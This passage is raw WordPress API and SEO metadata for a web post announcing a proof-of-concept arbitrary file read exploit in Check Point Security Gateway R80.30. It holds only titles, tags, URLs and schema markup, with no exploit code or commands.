R80.30&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27864\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-27T12:50:04+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151\",\"datePublished\":\"2025-11-27T12:50:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"},\"wordCount\":1989,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\",\"name\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-27T12:50:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27864","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:39&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File...","og_url":"https:\/\/zero.redgem.net\/?p=27864","og_site_name":"zero redgem","article_published_time":"2025-11-27T12:50:04+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27864#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27864"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151","datePublished":"2025-11-27T12:50:04+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27864"},"wordCount":1989,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27864#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27864","url":"https:\/\/zero.redgem.net\/?p=27864","name":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-27T12:50:04+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27864#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27864"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27864#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27864"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27864\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}